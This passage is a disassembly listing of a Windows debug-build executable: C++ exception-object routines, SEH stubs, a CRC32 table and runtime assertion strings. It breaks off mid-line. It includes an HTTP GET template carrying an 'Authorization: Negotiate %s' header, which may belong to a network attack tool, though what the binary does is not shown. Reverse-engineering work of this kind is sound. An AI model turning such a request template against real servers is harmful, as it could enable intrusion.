; Attributes: bp-based frame sub_431D30 proc near ; DATA XREF: ___:off_434F98o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_431E90 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_431D55 mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431D55: ; CODE XREF: sub_431D30+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431D60 proc near ; CODE XREF: sub_431670+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_434F98 mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_419BB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_431DB6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_4184C0 add esp, 8 loc_431DB6: ; CODE XREF: sub_431D60+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_431D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431DD0 proc near ; CODE XREF: sub_4314F0+23p ; ___:00431E7Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_434F98 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_431E3F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_419BB0 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_431E3D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_4184C0 add esp, 8 loc_431E3D: ; CODE XREF: sub_431DD0+55j jmp short loc_431E4B ; --------------------------------------------------------------------------- loc_431E3F: ; CODE XREF: sub_431DD0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_431E4B: ; CODE XREF: sub_431DD0:loc_431E3Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_431DD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_431E83 mov ecx, [ebp-4] call sub_431E90 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_431DD0 loc_431E83: ; CODE XREF: ___:00431E6Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431E90 proc near ; CODE XREF: sub_4315B0+41p ; sub_431D30+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_434F98 mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_431EC0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431EC0: ; CODE XREF: sub_431E90+19j mov esp, ebp pop ebp retn sub_431E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431ED0 proc near ; DATA XREF: ___:00434F9Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_431EE8 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_431EED ; --------------------------------------------------------------------------- loc_431EE8: ; CODE XREF: sub_431ED0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_431EED: ; CODE XREF: sub_431ED0+16j mov esp, ebp pop ebp retn sub_431ED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431F00 proc near ; CODE XREF: sub_431F40+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_434FB8 push 1Bh call sub_41B780 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_431F32 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_41BC00 add esp, 4 loc_431F32: ; CODE XREF: sub_431F00+21j push 1Bh call sub_41B820 add esp, 4 mov esp, ebp pop ebp retn sub_431F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431F40 proc near ; DATA XREF: ___:off_434FB8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_431F00 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_431F65 mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431F65: ; CODE XREF: sub_431F40+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431F40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_417870 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_417870 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_417870 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_434FB8 mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432050 proc near ; CODE XREF: sub_431490+48p ; sub_431580+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_434FC0 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx nop call near ptr 28C077Ah pop edi pop esi mov esp, ebp pop ebp retn 8 sub_432050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4320A0 proc near ; DATA XREF: ___:0043518Co lea ecx, [ebp-38h] jmp sub_40BDAE sub_4320A0 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4320BE mov ecx, [ebp+8] jmp sub_40BDAE ; --------------------------------------------------------------------------- locret_4320BE: ; CODE XREF: ___:004320B0j retn ; --------------------------------------------------------------------------- loc_4320BF: ; DATA XREF: sub_40B943o mov eax, offset dword_435160 jmp sub_4193A0 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp sub_40BDAE ; --------------------------------------------------------------------------- loc_4320D1: ; DATA XREF: ___:004351BCo lea ecx, [ebp-1Ch] jmp sub_40BDAE ; --------------------------------------------------------------------------- loc_4320D9: ; DATA XREF: sub_40BABAo mov eax, offset dword_435190 jmp sub_4193A0 ; --------------------------------------------------------------------------- align 4 loc_4320E4: ; DATA XREF: sub_40C1EBo mov eax, offset dword_4351C0 jmp sub_4193A0 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40BDAE retn ; =============== S U B R O U T I N E ======================================= SEH_431490 proc near ; DATA XREF: sub_431490+5o mov eax, offset dword_435298 jmp sub_4193A0 SEH_431490 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_431E90 retn ; =============== S U B R O U T I N E ======================================= SEH_4314F0 proc near ; DATA XREF: sub_4314F0+5o mov eax, offset dword_4352C0 jmp sub_4193A0 SEH_4314F0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_431E90 retn ; =============== S U B R O U T I N E ======================================= SEH_4315B0 proc near ; DATA XREF: sub_4315B0+5o mov eax, offset dword_435308 jmp sub_4193A0 SEH_4315B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_431E90 retn ; =============== S U B R O U T I N E ======================================= SEH_431670 proc near ; DATA XREF: sub_431670+5o mov eax, offset dword_435330 jmp sub_4193A0 SEH_431670 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40BDAE retn ; =============== S U B R O U T I N E ======================================= SEH_431790 proc near ; DATA XREF: sub_431790+5o mov eax, offset dword_435398 jmp sub_4193A0 SEH_431790 endp ; --------------------------------------------------------------------------- align 4 dword_432184 dd 3A0h dup(0) dd 4725123Ch, 0 dd 2, 28h, 0 dd 47E00h dword_43301C dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40BABA+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_433458 dq 1.388888888888889e-2 ; DATA XREF: sub_40B8F7+2Fr dbl_433460 dq 1.666666666666667e-1 ; DATA XREF: sub_40B8F7+15r dbl_433468 dq 1.333333333333333 ; DATA XREF: sub_40B943+70r dword_433470 dd 0FFFFFFFFh ; DATA XREF: sub_40BD61+13r ; sub_40BDDEr ... dword_433474 dd 0 ; DATA XREF: sub_40C0C5o dbl_433478 dq 9.765625e-4 ; DATA XREF: ___:0041131Ar ; ___:00411335r ... dbl_433480 dq -3.0517578125e-5 ; DATA XREF: sub_4123FE+2Br flt_433488 dd 9.765625e-4 ; DATA XREF: sub_413BB4+1AEr flt_43348C dd 8.0 ; DATA XREF: sub_413BB4+1A8r flt_433490 dd 0.0 ; DATA XREF: sub_413BB4+16Fr flt_433494 dd 1.0e-3 ; DATA XREF: sub_413BB4+166r dword_433498 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_414C60+1Do ; sub_414CF0+25o dword_4334A4 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_414C60+14o ; ___:00419F7Do ... dword_4334B4 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_414CF0+1Co ; sub_418240+15o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: ___:off_4438A0o align 4 aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_414EA0:loc_41500Ao ; sub_4152A0:loc_415420o align 4 aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_414EA0+11Bo aS_25 db '%s',0 ; DATA XREF: sub_414EA0+BCo ; sub_414EA0+16Fo ... align 10h aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_414EA0:loc_414F57o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_414EA0+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_414EA0+31o ; sub_4152A0+77o ... align 4 a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_414EA0+25o ; sub_4152A0+6Bo ... align 4 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+499o align 4 a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_4152A0+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_4152A0:loc_415686o align 4 a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_4152A0+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_4152A0:loc_4154B1o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_4152A0+1B6o ; sub_415890+A8o ... align 10h aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_4152A0+136o align 10h aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_4152A0:loc_41539Fo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_4152A0+DCo a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_415890+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_415890+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_415890+29Co ; sub_415CA0+112o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_415890:loc_415AB4o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_415890+1E5o ; sub_415F70+249o align 4 aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_415890+17Fo ; sub_415F70+1ECo align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_415890+10Ao ; sub_415CA0+C1o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_415890:loc_4158FDo align 4 aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_415EE0+54o align 4 aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_415F70+31Eo align 10h aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_415F70+2EBo aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_415F70+2A2o align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_415F70:loc_416128o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_415F70:loc_416082o align 10h a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_415F70:loc_41605Ao align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_415F70:loc_416032o align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_415F70:loc_41600Ao align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_415F70:loc_415FDFo aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_416570+11Bo align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_416570:loc_41657Fo a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: ___:loc_416702o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_416810:loc_416A9Co align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_416810+250o align 10h aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_416810+1F3o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_416810+188o aLd db '{%ld} ',0 ; DATA XREF: sub_416810+139o align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_416810+111o align 10h aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_416810+E0o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_416810:loc_41682Ao aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_416AD0+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_416AD0+BFo align 10h aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_416BF0:loc_416C24o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416D0Do align 4 aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: ___:00416CE5o align 4 aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: ___:00416CBBo align 4 aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+95o align 10h aModeNull db 'mode != NULL',0 ; DATA XREF: sub_416F50+67o ; sub_41E220+4Fo align 10h aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_416F50+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: sub_416F50+18o ; sub_416F50+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_416F50+Fo align 4 aFormatNull db 'format != NULL',0 ; DATA XREF: sub_4170D0+3Fo ; sub_4171D0+45o ... align 4 aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_4170D0+1Eo ; sub_4170D0+48o align 4 aStringNull db 'string != NULL',0 ; DATA XREF: sub_4170D0+15o ; sub_4171D0+1Bo ... align 4 aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_4171D0+24o ; sub_4171D0+4Eo ... align 4 aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_418240+1Eo ; sub_418240+48o align 10h aFgets_c db 'fgets.c',0 ; DATA XREF: sub_418340:loc_418364o ; sub_418340+4Eo aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_418AF0+24o ; sub_418AF0+4Eo align 4 a_file_c db '_file.c',0 ; DATA XREF: sub_418D40+31o ; sub_418D40+65o align 10h dbl_433CA0 dq 1.0 ; DATA XREF: sub_418F70+99r ; sub_419190+99r ... dword_433CA8 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_419B00+62o dword_433CB4 dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_419BD0+2Eo ; sub_419CB0+8o dword_433CC0 dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_419D80+32o dword_433CCC dd 3D212073h, 4C554E20h, 4Ch ; DATA XREF: sub_419D80+29o dword_433CD8 dd 65657366h, 632E6Bh, 0FFFFFFFFh, 41A962h, 41A97Dh, 65737341h ; DATA XREF: ___:00419F86o ; sub_419FE0+19o dd 6F697472h, 6146206Eh, 64656C69h, 0 aError db 'Error',0 ; DATA XREF: ___:00443BA8o align 4 aWarning db 'Warning',0 ; DATA XREF: ___:off_443BA4o aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_41AB10+1FFo asc_433D1C: ; DATA XREF: sub_41AB10:loc_41ACE6o dw 0Ah unicode 0, <>,0 asc_433D20: ; DATA XREF: sub_41AB10+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_41AB10:loc_41AC85o align 4 aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_41AB10+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_41AB10+149o ; sub_41AB10+21Co ... align 4 aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_41AB10+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_41AB10+B6o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_41AB10+9Co ; sub_427610+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_41AEA0+2C2o align 4 aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_41AEA0+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_41AEA0+221o db 'Module: ',0 align 4 aFile db 0Ah ; DATA XREF: sub_41AEA0+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_41AEA0+1AAo db 'Line: ',0 asc_433E58 db 0Ah ; DATA XREF: sub_41AEA0+173o ; sub_426B80+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_41AEA0+153o align 4 dword_433E6C dd 0 ; DATA XREF: sub_41AEA0:loc_41AFBAo ; sub_41AEA0:loc_41AFD9o ... aForInformation db 0Ah ; DATA XREF: sub_41AEA0+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_41AEA0+9Co ; sub_41AEA0+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41AEA0+56o ; sub_426B80+EDo align 10h aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_41AEA0+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_41AEA0+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_41B2E0+15o align 10h aMlock_c db 'mlock.c',0 ; DATA XREF: sub_41B780+16o a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_41DB50+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_41E220+2Eo ; sub_41E220+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_41E220+25o align 10h aStream_c db 'stream.c',0 ; DATA XREF: sub_41E5B0+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_41E730+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_41E730+18o ; sub_41E730+16Eo align 4 byte_433FB8 db 6 ; DATA XREF: sub_41E9B0+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_443E8Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_443E88o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_41E9B0+122o align 4 aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E9B0+116o align 4 aTidtable_c db 'tidtable.c',0 ; DATA XREF: ___:0041F8B3o ; sub_41F970+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_420720+18o ; sub_420720+B2o ... align 10h aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_420880+13o align 4 aInput_c db 'input.c',0 ; DATA XREF: 